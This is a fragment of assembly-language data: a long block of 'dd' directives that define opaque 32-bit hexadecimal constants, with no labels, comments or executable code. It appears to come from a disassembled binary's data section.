		dd 6DD2F02h, 95D4D4C8h,	0C69C4754h, 0AFBD600h, 8EDE8780h
		dd 9B030082h, 659A5632h, 0DF6AE01h, 6D3FBE07h, 64B00298h
		dd 0F9ADF6h, 0F272F7Bh,	15E34946h, 82704479h, 347A642Eh
		dd 594EEE80h, 4F39FBh, 66613099h, 43F241DBh, 17D25760h
		dd 70FFDA4h, 322F50D6h,	46EE50A8h, 200C719h, 662BDDDCh
		dd 125921C2h, 1F5B57Ch,	7FC0B668h, 94E7D0B7h, 0BBD21C00h
		dd 4C9CBDA1h, 6010045h,	2C14E034h, 6B0152AAh, 64E95408h
		dd 0F04076C2h, 0AFBBD93h, 23F94E35h, 3AA500DFh,	0B6B8D568h
		dd 41D02A00h, 31CFAFEBh, 1D0E050Bh, 0C0296BAAh,	7932A7A4h
		dd 0FA72B700h, 0DF7D8FC9h, 0B3BE1B2Fh, 0F3E02009h, 0BF07169Fh
		dd 5D658C91h, 0B9DA6BE0h, 30634C36h, 0C8549300h, 82CCE11Ch
		dd 0EE1800E1h, 514C48D8h, 69AB7101h, 0CCA20172h, 4A00F4C2h
		dd 53432275h, 0B064265Ah, 0E21B09C3h, 9881D1A2h, 0F8FE4FEFh
		dd 9216CC73h, 6C09F3DBh, 948B015Bh, 0AF4B9DDh, 4C3DFA5Eh
		dd 0EA009399h, 466F032h, 0D40039FEh, 609A2A82h,	136C0B6Eh
		dd 2A57C0Ch, 0A8E58F4Ch, 7B697CC0h, 0AE0014EEh,	71432D34h
		dd 3328AB4h, 9D2B39F7h,	7CE07307h, 5677AFA6h, 294D9500h
		dd 848BAA70h, 0E45D1CD1h, 6D3B4EC3h, 0D6143400h, 0B57248E1h
		dd 0B9C2B00h, 0CC085AC6h, 3DC948Bh, 0EE88A5FBh,	41C98097h
		dd 0AA0499A1h, 0DCE56AA3h, 7DBD69C0h, 0F4E103E6h, 0C11589B1h
		dd 0BC1D73C8h, 4106ACB8h, 0AFF489Ah, 7A780111h,	0B9A88ED2h
		dd 0DCCC30ACh, 14E1A301h, 90C3B8DFh, 6168CCh, 2517669Fh
		dd 7ED7FE4h, 1DB5A503h,	0D09086EFh, 5931Ch, 0F8E72E4Fh
		dd 0A76709C8h, 283074FCh, 0AD5A10F9h, 7BDE00B5h, 6E1413F1h
		dd 97745995h, 91D8A10Bh, 0FAB900EFh, 8AC4F7h, 33728853h
		dd 2A485845h, 89E52000h, 377B70F9h, 0D9BD0A52h,	0F42F25h
		dd 695A40A3h, 9600C8FFh, 1041D7F7h, 0FEF2716Ch,	777109h
		dd 1E974216h, 0B6483DADh, 9A03B4EAh, 8035B238h,	75DFF0CEh
		dd 680E08E2h, 13811070h, 414D64E6h, 0D13DDCh, 70DBA8Eh
		dd 8297DE11h, 0C39EF40Bh, 8D1F814Dh, 0E6F8B5FFh, 0C9D3005Ah
		dd 0BAC23BE2h, 660FE783h, 219E14E4h, 655914Ch, 75F89CF9h
		dd 8DEF120Ch, 0EAC41CDh, 0F8280DB1h, 4A03B34Dh,	508413DEh
		dd 18C1C555h, 40FEF29Dh, 26A3FA8h, 20B7FAFh, 38C0F632h
		dd 4D00AA39h, 1F799290h, 158B128Ah, 943AF534h, 0C9F4571Eh
		dd 44C8CBC3h, 0CDE2D8C2h, 5C007170h, 0C6E61821h, 0F808233h
		dd 0AB0355BEh, 1EC3140h, 9B004DD1h, 39E95D62h, 28F4C7F3h
		dd 0E8944F87h, 4DE802FDh, 279732FFh, 18F730E0h,	1E06B800h
		dd 0EEABD1A0h, 228A16BBh, 0AF580060h, 6F0FFE7Bh, 0AC2A1C0Ch
		dd 3EDF489Dh, 8DA667DEh, 328600C9h, 0B1D76B60h,	2A349100h
		dd 0A8833870h, 0A4E602F9h, 1513B8CFh, 9590E4C8h, 61A07800h
		dd 0E3AF0538h, 89DD0547h, 49CFA5h, 3291D6F6h, 52030B72h
		dd 14354D0Dh, 7A55E890h, 8C92009Dh, 0FF84D22Ah,	5900E9DFh
		dd 43C94F4Bh, 0EBE5B0h,	864E071h, 3825CB2Dh, 0F61E3898h
		dd 0B02A35C0h, 0A587C713h, 2A173501h, 0ABD81AA2h, 61DD0090h
		dd 0EBD0C5ACh, 450056B1h, 0C4295132h, 3DA81AB3h, 1803C3Eh
		dd 0ADD28BBCh, 833B2678h, 0B0772A34h, 9842D713h, 407A3843h
		dd 59B6D8F5h, 85BB0088h, 22CB4B0h, 94002DA7h, 0B7B9CFCCh
		dd 3A4A25h, 8462F89Ah, 0ECCB198Ch, 665A5601h, 9FA38911h
		dd 4A01F1F8h, 3A0016Eh,	308F2D57h, 0B1E2834h, 0C101B786h
		dd 9F17929h, 81B4DCh, 0FB87CE3Bh, 47F3751Bh, 0B6CB23Ah
		dd 3A5808h, 209EAC8Ch, 6AEA0087h, 887DED46h, 0AD00EB91h
		dd 0D7C1A30Ah, 39B8236h, 48CFBA80h, 21D0BB1Ah, 0A4070D28h
		dd 95CC3545h, 0EF19A210h, 1C71E0B4h, 645615E6h,	6AC8002Ch
		dd 0EADBC52Dh, 4CDFB500h, 0F26B2BACh, 0B76600D5h, 3488824Eh
		dd 9400538Ch, 5B8D90C5h, 0E8C302A4h, 0A20A3AACh, 61346E80h
		dd 820C98EAh, 9C244D00h, 2CEEC78Ch, 35300E8Eh, 90C037A3h
		dd 0F7D0B30Bh, 0F4269BA1h, 63007827h, 0DBA8877Fh, 0F235Eh
		dd 3D40AE68h, 9A8DE2E7h, 92003EFCh, 795F7320h, 1427DD24h
		dd 0B42CC717h, 0A6D80072h, 0CE304686h, 0C6043119h, 5A788454h
		dd 702FC282h, 0D61E17DCh, 47C2065h, 6B2D5025h, 0F11B407Dh
		dd 0C77A026Dh, 9E0867D3h, 2E1B1440h, 761D547Dh,	3B40480Dh
		dd 4EF3667Fh, 2DBB5CD5h, 20A5AB16h, 769D3244h, 2E839400h
		dd 34BFE90Eh, 67E885h, 7DDF3C64h, 0D5F34DECh, 3DA09E00h
		dd 8EFB1244h, 4072590Ah, 33CDD603h, 0D800F9A7h,	934AAFC9h
		dd 1F24CA3h, 219C1285h,	82FDFB08h, 0CA349720h, 0F2F4A01Dh
		dd 0E01802AAh, 0A4B807h, 2758609Ch, 41427506h, 4313F90Fh
		dd 2FEF406Bh, 0C10C6h, 0A88223DBh, 0E204B456h, 0F89F4731h
		dd 4CEC52C7h, 8EA005Fh,	0A43755DEh, 0F4010E4Bh,	0C5F99B88h
		dd 20206EBBh, 0D4D909DCh, 54407C21h, 0AB0731FFh, 0BEF109C7h
		dd 0C1BFE2F2h, 4DC0EB49h, 67AE1FE5h, 383589F9h,	3609420h
		dd 5761F3E6h, 0D92E1350h, 0C843AD8h, 5A4DEAF2h,	594FFE28h
		dd 480298ECh, 6330A3BFh, 0E6BD9490h, 0E497B600h, 0BE2440C2h
		dd 0C6A330BCh, 1C04A250h, 68AD7317h, 33B18C00h,	4029CB3h
		dd 0B75D4F3Ah, 91DCC076h, 41003003h, 0CF154878h, 8A3BA2h
		dd 0A1386636h, 0B3AB4451h, 908F7607h, 1B02EBh, 0A483CD50h
		dd 2E6902D3h, 8A896CBBh, 0B0D4E480h, 72FF3BADh,	0AF9B027Ch
		dd 0C03FA93Dh, 0CD1C07h, 776B0799h, 0DF8EF039h,	1698EF05h
		dd 8143A5Dh, 81433E3Ch,	0CBA93460h, 20E4A21Ah, 2E4AE1h
		dd 56742BB4h, 1600AE6Ah, 6EF384F5h, 765FE8h, 36CCC8F0h
		dd 0D5FE0ABFh, 4F001070h, 95E64EA7h, 264B9D15h,	40A91Dh
		dd 0D51835B1h, 9002117Dh, 5ADE2EE7h, 0BDBC806Ch, 0D4322Ch
		dd 2F240562h, 102343A2h, 58BEFF05h, 4080C2A6h, 7A092811h
		dd 2A0E2849h, 8A2F0FE0h, 0B8801E15h, 3C9EF8A1h,	0B0EEF000h
		dd 0D6AA33D5h, 0D1B6009Bh, 45FEFA76h, 70C15972h, 0CE9A3036h
		dd 0D209F4h, 4CBE3EB7h
		dd 0D01BD425h, 0C320A900h, 71FE2A86h, 0DED600F9h, 74410FFBh
		dd 8A0D7A2h, 0F402B23Bh, 9190D52Ah, 72C4E099h, 0A5FF00F0h
		dd 2C124BF1h, 7005051h,	0BA20BD1Dh, 0F75BD6h, 47988D76h
		dd 0DAC6A922h, 413CA600h, 3872FB4Fh, 0EFB865h, 9A21B61h
		dd 0EF279930h, 56289400h, 0B5FCECCDh, 0A1860031h, 6A6C022Dh
		dd 4702AB12h, 36457D14h, 7544C049h, 0AFE33B1Dh,	420FDE80h
		dd 0C278B0E9h, 8E105300h, 4FAEE115h, 0F1C30056h, 0A78D7A88h
		dd 691C9291h, 6584AC22h, 18C0BECFh, 3FAFE606h, 0E7009EBAh
		dd 0A5E00764h, 670080CCh, 8A6DB2F8h, 0C6D6D0h, 89F430A0h
		dd 79255A9Ah, 8A004F2h,	0BC097B23h, 0A9B7EE1h, 9C028C64h
		dd 60ACA915h, 19E3040h,	6B99BB37h, 605AA110h, 0A004B21h
		dd 0C7FF59DDh, 792287Dh, 0A4D12697h, 9181E03Bh,	5C004DF6h
		dd 0EE4F017Eh, 25724EBh, 3314841Ah, 0A0FA83FDh,	480330A4h
		dd 5BBF61D0h, 0C14FFF93h, 0C94CED1Fh, 3F4DC8D4h, 4A0086D8h
		dd 0A1C6BC95h, 0A200F1AAh, 0CD9B7650h, 0F2B278EEh, 0E6BE37FAh
		dd 1C600A58h, 549BC0F0h, 85CA499h, 0B109B3EAh, 0C1BD1353h
		dd 0EAFC3D50h, 0B3807D5h, 94A75C9Eh, 7B20C0FAh,	6F003037h
		dd 0EA910976h, 0A01DA8h, 8C4064BEh, 6B37A4A2h, 6FF86507h
		dd 0B3076CE0h, 0AA3E9F30h, 0AEA7004Bh, 8FE90A4Dh, 23E8CB02h
		dd 0D33C6090h, 0C76500B8h, 73B4954Ch, 5AE4F5h, 4A594DBEh
		dd 3E03981Eh, 92007873h, 0C915DB84h, 0CC2A96h, 0CD25DCABh
		dd 140EAFD5h, 84D40200h, 23B7EEBFh, 0EC95005Eh,	7A2B2A6Dh
		dd 6E1F570Fh, 4604B320h, 1C80C1D3h, 5B4232h, 0DAEDB27Fh
		dd 716C33FFh, 0BBA4F100h, 52796F0Ch, 2A7B1E5Fh,	5419D4Ch
		dd 0C1FA269Fh, 8E3AE9B5h, 40772811h, 0B5491DAh,	21C9029h
		dd 1AA421B8h, 70C0EC52h, 43848E2h, 2BC1C6Ah, 0F8319A00h
		dd 24DF87B0h, 1494C94Dh, 7102AC23h, 86522199h, 0A2800843h
		dd 3B266148h, 701083Ah,	60809313h, 2E231020h, 9F06E7Ah
		dd 6C8054A4h, 0A13CC75h, 8048392Fh, 0F47DAE9Ch,	85F009Eh
		dd 2927AA40h, 0AD038EC0h, 5D72A374h, 8976A194h,	709D4420h
		dd 0D46D00D0h, 195F4707h, 0C900F6D3h, 546EE560h, 1F785B43h
		dd 1CE26BD8h, 66A000F0h, 7C2F4875h, 0A377401Bh,	0CDE29810h
		dd 0AB05009Fh, 0F6A5CC97h, 80F15293h, 0B7170621h, 124FCE1h
		dd 0ECC4E0Bh, 0C491F2C4h, 4D008784h, 0B70D2147h, 3B0B12Ah
		dd 0B585FDA1h, 82E85AABh, 0D8003677h, 3CDEEA7Ah, 0EC664Bh
		dd 0BA9574DAh, 0E65EB4E7h, 0A64C6201h, 0E3F4BD23h, 2308B20h
		dd 0B617EC14h, 0C840799Bh, 6E00896Ah, 0CF81CB1Fh, 0EDBF6Ch
		dd 0ACD2DFF6h, 31A439D0h, 4B9BE800h, 370DBB1Ah,	0F8577E02h
		dd 42E90ECDh, 801D6E61h, 0F8453A93h, 970B76C2h,	0E05625EBh
		dd 6D4521Ch, 575BAE9h, 70B61A36h, 34678800h, 4824DDh, 97F27695h
		dd 1873B64Dh, 997D3B0Fh, 8B445h, 0EFA79F87h, 0D65CF8h
		dd 16281A77h, 0C70AD33Ch, 7D5D8000h, 0CDFA0239h, 3150074Ah
		dd 618C1B44h, 32AFEAC9h, 747E2600h, 800D030Bh, 0C1CB60C0h
		dd 8C800190h, 0C0CC3879h, 6A646062h, 0C478EF00h, 86F19352h
		dd 8E20148h, 5F14CEF3h,	0A3B460D5h, 0D6F22D00h,	0B91C94CAh
		dd 30E25859h, 4A8FEA00h, 53337296h, 0BD955A00h,	761093E7h
		dd 8772F9h, 0B5A52331h,	0BAFA4BA3h, 0DC0FB900h,	0EFAD19DDh
		dd 664602BDh, 51D30ABBh, 0C4214860h, 89BFE600h,	7FB193ACh
		dd 0EB6203EDh, 0C6F16955h, 0C97A46E1h, 0DCA7CC95h, 840FD77Eh
		dd 0E0CE22A2h, 0D65F639Ch, 0B4C70196h, 4198323Fh, 6878E8h
		dd 0A01A6188h, 9A351Ch,	4CF10FBDh, 11A73963h, 0B8821F00h
		dd 0B322FF70h, 8035076Fh, 500849BAh, 9C196B50h,	6677E00h
		dd 336D523Bh, 25970E0Eh, 0C3FE4138h, 0FA6E6950h, 7B586800h
		dd 0FDEF8573h, 46E705CFh, 919AF31Ah, 0E166E100h, 79F7F088h
		dd 1985FC31h, 2040C009h, 1DA4C7AFh, 0C85144h, 9431F340h
		dd 0F07C536Eh, 23BDD925h, 0E0FD7FA0h, 9645381Ah, 0E33B86C4h
		dd 0B80021D2h, 56FA9F27h, 247B4CADh, 9852Fh, 8EA1BBCFh
		dd 1CA0483Bh, 10E3EED9h, 1D4CCD42h, 0C956A02h, 0B1603E1Eh
		dd 23617C00h, 0AA0CFD7h, 0FFF900E4h, 0C9D4E1DEh, 0BE032C03h
		dd 2DC62545h, 0EDF7E804h, 0DDF03BDh, 0FE09E7C3h, 372403B8h
		dd 0ADAB6C06h, 717305h,	8F8C75BBh, 47B3F435h, 45F59D00h
		dd 0B9F0DBE0h, 48380C15h, 3EA836C5h, 27B2C700h,	9DA0E3A8h
		dd 38090064h, 37297D44h, 794B58DEh, 5F3B5CD0h, 32D70167h
		dd 700EC1E7h, 71BC7Dh, 0AF0A0C66h, 523F662h, 97BA8E42h
		dd 43CAC70Fh, 0D1CB4D1Ch, 2BC04900h, 0BF50817Ch, 38430735h
		dd 400F7E7Fh, 89C5235Fh, 0AC0033ECh, 53C744BAh,	0EAA30E6Ch
		dd 23B8ECh, 0E38B6179h,	6DE78646h, 59C0B17Dh, 96F57F82h
		dd 0F9CA0015h, 1941E72h, 0C3C500Bh, 8A709916h, 76D8E0B1h
		dd 97B11615h, 0A1750007h, 4C26E447h, 5BA1300h, 0B06AD6A0h
		dd 1CAE4DAh, 0E40753C5h, 0F3C93F3Ah, 9B1CA9F8h,	13E3B100h
		dd 8A532376h, 2EBE3B42h, 6738433Ah, 4C0FDC3Fh, 0ADC09F7Fh
		dd 935E8DBh, 0B8EC2A0Fh, 0B4794361h, 7390039h, 0D128B212h
		dd 0A219BF09h, 0FF086186h, 3D8C2180h, 93CC33B2h, 5BB11E00h
		dd 6DEAE41Ah, 6371002Fh, 0ED5E96CBh, 0BFF8B646h, 2D4380C1h
		dd 40BC892Eh, 7C342A0Fh, 0C087A340h, 1F3A0B4Ch,	0B12C30C3h
		dd 0F75ACFFh, 3F515B44h, 130BE5A1h, 0FC809D06h,	0BD3B2F40h
		dd 3B7DDE22h, 89006DA3h, 0A54923ADh, 0BA1F1930h, 0CE800E37h
		dd 4D4BEDD5h, 0DB58E8E0h, 480160A0h, 4FA4D657h,	18814B92h
		dd 0B6F0634h, 0DE2180BCh, 56384943h, 315FEC62h,	0C4087A39h
		dd 0FD208068h, 0DCCD493Ch, 0E9FF0052h, 9E25F71Eh, 0AE03E5F0h
		dd 0BC6AB5A8h, 8263977Ch, 2279015Dh, 0E8111304h, 0C393702Ah
		dd 3059E23Fh, 2C1D21BBh, 877313h, 1EC873FDh, 6FB5054Dh
		dd 0A876DE30h, 81C657h,	1B331D0Eh, 0EBD53B3Fh, 0F5D61E00h
		dd 0B58B6BB7h, 0C3EF0041h, 1BF85632h, 78007AFCh, 3F4FCCF1h
		dd 2747D5Ch, 196F7E5Dh,	85E0188Ah, 0CC25A486h, 1E68D855h
		dd 0C003259Bh, 699337E0h, 76004BAFh, 6E134EC3h,	756EEA5h
		dd 989EBF8Dh, 4797404Fh, 0A604C632h, 5E107E6h, 25635D81h
		dd 957BDCh, 64FCFB37h, 2DDD2256h, 0F2AC900h, 0D71F0146h
		dd 80FF3D87h, 0C2FDA800h, 3C5F75C6h, 1A683Ch, 7A66ADA6h
		dd 36DB09h, 0B3673EF5h,	615C6D59h, 7807A000h, 1565B5ECh
		dd 9DD90019h, 7B810E3Fh, 5702EEF4h, 0B5E576DBh,	0A01860E8h
		dd 0AE543AA7h, 4100E93Ch, 1ACA379Eh, 40184C84h,	0DD0897E2h
		dd 6F20C1A3h, 0DC7B3786h, 8F0053BBh, 44E3908Dh,	0B0782F54h
		dd 0F7550C8Fh, 6151B366h, 2292FF00h, 6EF8B63h, 0DAAE01F0h
		dd 0FAE47C76h, 0FC881A9h, 0F559115Ch, 49A03087h, 0B9EB30A4h
		dd 54339583h, 0B6DB0947h, 0CCA93920h, 0C5858780h, 3689EEAh
		dd 5AA32E13h, 3C551900h, 50245E5Bh, 0E8E8CD9h, 40E654E8h
		dd 292F10D8h, 0F87F5100h, 41A6431Fh, 39A400A8h,	77DD6A04h
		dd 0B019E73h, 0F525C916h, 7D02727Ch, 528604B5h,	10B1E7h
		dd 80C2EB54h, 7019294h,	0DB09AC7Eh, 8C4D78h, 53C2722h
		dd 83CA0080h, 7330ED7Bh, 0EE0033E7h, 0DDACE4Bh,	1F70A04h
		dd 6B3B02E1h, 0C0CA915Ah, 0D200ECE5h, 9DA4DCA9h, 5E68ADFh
		dd 5C493675h
		dd 452B80C2h, 990156EBh, 33BFB442h, 0C03FB5F5h,	0F0EA34AAh
		dd 801F1039h, 5208661Eh, 1F1DAACBh, 40D9EEF7h, 7DE0B36Dh
		dd 0BF00CD61h, 1F09346Bh, 1DE30301h, 0C065906Ch, 6D0F71D3h
		dd 6F03E449h, 92F78CAh,	0E2BF3E1h, 40C0F228h, 0EC92CB20h
		dd 0FB001FE9h, 29D85E70h, 0E39E9F8Bh, 38D7D8h, 0BC2FE258h
		dd 2F51EABh, 7201EA77h,	0FDA43C57h, 2E70BA20h, 0D21700A1h
		dd 0C6B60E58h, 0A2010D32h, 0DA77433Fh, 8BECB2A9h, 3AE30069h
		dd 0D325A6E9h, 3B0A2363h, 0CC7B7AEDh, 0A793600h, 537446Fh
		dd 0CB753032h, 0C266C031h, 0DE03F7CCh, 0FB204170h, 918CC8BCh
		dd 6990C0ADh, 920D2DC4h, 89840300h, 0D4DEA5C8h,	3B250938h
		dd 1821F91Ch, 704A4DBFh, 930008DEh, 86C96C61h, 5C6970h
		dd 208A2522h, 0A6E60E12h, 0E08B58CEh, 0AEAC9FC4h, 615300D8h
		dd 84EC3D7Ah, 0BB0065E7h, 0C6F9464Ch, 0F7393Fh,	0A6B015C0h
		dd 2AD63574h, 4057DF00h, 6D7D51FBh, 8D29029Eh, 0C837542Bh
		dd 5D468480h, 1817F29Fh, 43A96679h, 0FB1C2607h,	8BE520DEh
		dd 98C21D7Eh, 43550B11h, 3852B88Dh, 0F80AF84Bh,	600700D3h
		dd 0B09CEBAAh, 2000F383h, 9272F6C3h, 1F23F92Eh,	803C98B6h
		dd 0B7028C55h, 42679556h, 43B00880h, 70ABF4F0h,	506D1CD9h
		dd 0C79B0024h, 7C7E8312h, 0F7E5201Dh, 0D0AC8980h, 0EB8501h
		dd 9F1CB49Eh, 0C9DD7036h, 7F7C3A00h, 94605F5Ah,	0D9E8A1h
		dd 0D85DBC92h, 4083BAADh, 49004E98h, 4B4F5B04h,	95EF3Bh
		dd 0E9325FCBh, 2BA27D34h, 0EC0010E8h, 2FD8E093h, 5D1C9Eh
		dd 0D4190448h, 0C085AC8Bh, 4CFB5102h, 4009A7DFh, 0BC3EAFh
		dd 3975DE12h, 0E0187AB5h, 602A6E00h, 3F16B9CDh,	0DD90381h
		dd 92A2595Ch, 0AF1CD0BFh, 7400EDCAh, 9F7AF28Ah,	1E9020D1h
		dd 8FBF2452h, 0A52046D2h, 32253AAAh, 0D9006575h, 0D78D9A8Ch
		dd 5B9CF55h, 3EE1B4E3h,	0D48C00F7h, 1BD2FBC6h, 0A133E000h
		dd 0AA1CE999h, 0EFDD060Ch, 0E0BB15CCh, 8364683Eh, 0D4DA13BAh
		dd 87580062h, 8E1A4553h, 0F501CC14h, 0DD49F9B8h, 5A20566Eh
		dd 7E507BBh, 0B04D3D77h, 66BA1891h, 0F05C6F7Eh,	0E86E1865h
		dd 0EA921h, 401D1EDDh, 49D9366h, 0E02518CEh, 0CDC84357h
		dd 9572D8h, 0FE24AE69h,	0AAC5D43Ah, 62143300h, 78CC075Ah
		dd 0AD6D121Ch, 68AE0BCBh, 0AF409E0Fh, 42EC31E2h, 5CDC3000h
		dd 0F5C5E36Ch, 93B401C8h, 0FBEDFA4Fh, 0E051E818h, 0ECC74E0Eh
		dd 2985AC06h, 1A50060h,	0CD04224h, 7D24C978h, 3A48EEh
		dd 0EBB9B455h, 16488ABh, 2B3FA480h, 0E0770B6Eh,	0EEA42DEh
		dd 0CE5EC824h, 4133BB00h, 18E32D3Ah, 12C1AA71h,	0D8394772h
		dd 833939FFh, 0A53F946Ch, 0AC6EA8D9h, 0CBE03EBh, 22CFBA89h
		dd 8EF42FA0h, 0E80012E4h, 0DE16D4F0h, 1714F611h, 0EBBF1E7h
		dd 1980E2BFh, 0EB922EAFh, 7430C51Eh, 3AEEEF00h,	10FD67h
		dd 16D37A28h, 99FE927h,	630D4B0Fh, 0EBC14099h, 76D1E25h
		dd 389A13F2h, 5485904Fh, 331E40CBh, 1C0426F0h, 0FB87EFh
		dd 2A809D68h, 0DA00538Ah, 0AC74AE5Fh, 6FA5C6h, 0DF9D9F0h
		dd 0D154238Dh, 0E3C33200h, 0AA55EBA3h, 368E00B5h, 0F6B37E17h
		dd 8300A9ABh, 3AA00F8Ah, 0E6AF2924h, 589401A5h,	68187F1Ch
		dd 7DC080D9h, 0FB90CB64h, 22523869h, 0E3406081h, 0C089359Bh
		dd 9A001F08h, 74665793h, 13BB1CEh, 0A325A7FCh, 0D1CB9E47h
		dd 400E8E20h, 17CCA572h, 58628400h, 0FC6BCE6Fh,	1974A5h
		dd 0D8E6F1CFh, 10CC09A3h, 68148430h, 0A0C970B5h, 92A6DFh
		dd 0C46D63B8h, 0CF2C86DBh, 0B9FAAD1Dh, 0B8C67C0Ah, 43D15D82h
		dd 2F9200Bh, 12165371h,	0A300C53Dh, 0EB95A6C8h,	7BFC0076h
		dd 464F0441h, 4B0FFA89h, 478ADE75h, 0A260C774h,	131586A9h
		dd 53DD8CAh, 0C3B374h, 0AF655ACCh, 3B07B526h, 60B8721Eh
		dd 0E3AC8460h, 6CC70705h, 4014A519h, 735A9E2Ah,	0D7799814h
		dd 663F00F3h, 965625D4h, 890EAh, 5E27E190h, 0AAEDCF7Dh
		dd 8BF37C00h, 83C5D975h, 0F6390081h, 8DA7EF78h,	349188BEh
		dd 73318F00h, 0C111D6h,	37EAD3E1h, 0BBADE2B2h, 0EEB04300h
		dd 236B1CD2h, 0C5D00069h, 0A63CD94h, 0A8036051h, 0EC4ADC42h
		dd 0AC08C8F0h, 3F240086h, 8171BD32h, 6B0035A7h,	3A12B91Ch
		dd 3F9D343Eh, 11603F93h, 0F0B0058Ch, 80EC503Fh,	88C11B5Fh
		dd 7B71B995h, 0D6A8005Bh, 0ECB40CB2h, 0EE0007B5h, 9A61CF5Eh
		dd 0EFC454ABh, 8D099440h, 95BE0029h, 0FEB7DE51h, 2817D191h
		dd 7F00EC99h, 7057697Ch, 3C2EC0CAh, 0AFA37D11h,	2400B890h
		dd 6CB56571h, 0E276B83Bh, 0AA32000Eh, 5C553F5Fh, 331EA611h
		dd 0A802F0Bh, 44E50DCDh, 43F3075Bh, 2264EE09h, 8814126h
		dd 0EC4D5767h, 35039FFFh, 0F9247566h, 98AE8B5Ah, 3BD3E7h
		dd 5B3195C4h, 0A212DC28h, 0C8DA9800h, 0A66272ECh, 3EBAECD8h
		dd 8200056Ah, 28AF67B9h, 530BCD25h, 74B5FD30h, 50C800E5h
		dd 19A4BA7Dh, 113B29E4h, 3D070443h, 0C48709B3h,	0B5FF9CC1h
		dd 4F26E99Fh, 15AE79ABh, 2CF77D80h, 5E23206h, 7500B0F8h
		dd 8D385AECh, 0A0719C0Dh, 17E50A1Ch, 0BD9D09h, 0F6ACF0B1h
		dd 410DD1BAh, 4131C99Ah, 300AE98Ch, 0B1F8AF78h,	7947A084h
		dd 4CB0C4h, 4969DDCFh, 531900Dh, 0AC8A320Eh, 2540A193h
		dd 5920910Eh, 3CF21DE6h, 0BA734094h, 6BAC7263h,	0C0F849ECh
		dd 99A95D07h, 79E0564Fh, 1D9F5348h, 14B7C6h, 0BDE56631h
		dd 853EEAD4h, 1E6B1EDAh, 6235BCC0h, 31ADE1Dh, 51AD8605h
		dd 7790A47Eh, 0BA007A6Ah, 2AF280F5h, 168045Ah, 0CAB83A20h
		dd 0E801C3BBh, 600040A2h, 0C222A31Bh, 96C15Bh, 788EE4F6h
		dd 0E5735C56h, 8AACD51Dh, 0C3DE853Ch, 7C80E9CCh, 0DDFAA5h
		dd 225D36DFh, 571337DBh, 9839ED2Ch, 0A0B8410Eh,	0FF3C2D30h
		dd 44AA00FDh, 4DA54679h, 663A2EBFh, 24AD809Fh, 0D71EB125h
		dd 0DD970EDAh, 0D834D89Bh, 4CE76D00h, 0EFF7F4E8h, 5C66A600h
		dd 0D11789D2h, 3F0492B6h, 3E801BD6h, 70B09186h,	2E30B447h
		dd 4628A1F3h, 73C77ADh,	3A934579h, 6CC9B195h, 0E450829Fh
		dd 405EBD19h, 304B0B1Eh, 7859B7D0h, 8F17830Ch, 0AE006F15h
		dd 0E24721DFh, 0FE4C00C2h, 0BD93677h, 0B848A806h, 82AF0554h
		dd 14903CC4h, 8B4D2Eh, 9E8A3A39h, 0D6B578Dh, 0B2E10800h
		dd 0EA692FA1h, 82B30FDEh, 0FD732Bh, 0CB0AAB48h,	3C0E9209h
		dd 802E29C7h, 0DE39EF1Bh, 0B12100F5h, 2491F6BAh, 6E707247h
		dd 63A39000h, 8D97F018h, 49821D52h, 0D505407Ah,	0B326FE3Ch
		dd 0C33020C0h, 7AB10CBh, 0AB94D9Bh, 48C9A0C8h, 0F250B7FCh
		dd 28C062C0h, 9CEE2C2Eh, 81B30031h, 96284B84h, 6F0085D1h
		dd 5073895Ah, 0E05CBD35h, 0D6794Ah, 0CEB7A263h,	0B1D7FE23h
		dd 3B4F410Dh, 5CE0788Ah, 3F700E26h, 820CFCFBh, 6E00A5B1h
		dd 764BDB08h, 429E55h, 9F9BE5Bh, 0BDE150EBh, 0F1E98C00h
		dd 72E2A8B9h, 18EC716Fh, 40A2E789h, 0BD014A8Ah,	3EE0FFD5h
		dd 1983EA01h, 8417242Ah, 0EE7E80F4h, 5B00CEADh,	83DAA75Fh
		dd 0FD96D691h, 1F49DC0h, 649E0A29h, 0C8FB89F7h,	3E002032h
		dd 0FE56BF40h, 110BDA4h, 0FF637C98h, 0D0C26280h, 0B60F8A30h
		dd 40944850h, 0CA4FCC77h, 7F7B1CC8h, 51440CD1h,	4A54510h
		dd 87826055h, 0ED005B29h, 78287EDAh, 5D58D7h, 2C0D9A23h
		dd 187A9B38h, 48ACE303h, 0C4744A2Eh, 6AD17303h,	0F529FCB8h
		dd 7E71DF1Ch, 64F79F0Fh
		dd 3680F35Fh, 0B0AE64F8h, 0DC900077h, 0FD9ECCDAh, 0FA00CF50h
		dd 0EDF82993h, 196751h,	1348A6C1h, 2D5EFE66h, 0CDBADB15h
		dd 2BF4ED70h, 110DC50h,	0D253C1C7h, 86D9F8E4h, 1EE0EB4Ch
		dd 51C0AC28h, 780B70Fh,	0DFD6322Fh, 0CE11CC29h,	2B01ABC5h
		dd 0DEA411B4h, 44780417h, 0F744CC13h, 0E1A044B3h, 44AAA444h
		dd 134ACB0Fh, 0A5BA083Ch, 1914B894h, 0FFA124EFh, 0A4A92841h
		dd 3510BC12h, 1B29C41Ah, 921844B6h, 33427048h, 0B5E72219h
		dd 52B13C21h, 11DA5401h, 0C312F83Dh, 11FF5C11h,	3E912851h
		dd 20AF44FBh, 1B7C7F5Bh, 802C29C8h, 5B92B920h, 8F004951h
		dd 9A31222Ah, 0EF5AB3h,	9C1A78E0h, 69B0814Ch, 0E53F6A01h
		dd 0D710B508h, 562CF4h,	1319CBF0h, 55BAF1B4h, 45443C00h
		dd 4A7762DDh, 0F5C10ED0h, 0F0E01F42h, 6E8FEDE8h, 0A0D8AE00h
		dd 877CA24Fh, 587659h, 0AD49081Eh, 504EE004h, 0DC82B2Ch
		dd 0E1CD4600h, 19ED35h,	0BC0D6D29h, 5738AFDFh, 1D0074F0h
		dd 0EF437B99h, 77A52Fh,	682CE3Ah, 7ED6C815h, 7B117001h
		dd 132703DDh, 65F43825h, 0A56F03F5h, 99A41B4Fh,	73CF16E8h
		dd 60226C00h, 0C25FD0B0h, 20A63C1Dh, 0F4A86480h, 77B76526h
		dd 0A90C1900h, 0A6379DC6h, 6BA5029Fh, 0D727EDDDh, 97F6C40h
		dd 9B2E6201h, 0EA40655Bh, 3BF56E8h, 0BDD63FD1h,	0A4834C1Bh
		dd 0B0E14EB0h, 51E51900h, 543EC9B7h, 8083036Dh,	1E536627h
		dd 90D016C8h, 2DE7A000h, 9EC72BA2h, 0E1A0A082h,	78FC3C26h
		dd 62236100h, 0E7D533F2h, 472E12F8h, 0A800F8E5h, 9351BEB2h
		dd 2D4500D3h, 0AF39D62Bh, 0C7006421h, 2F6E1FAEh, 5C2A9E96h
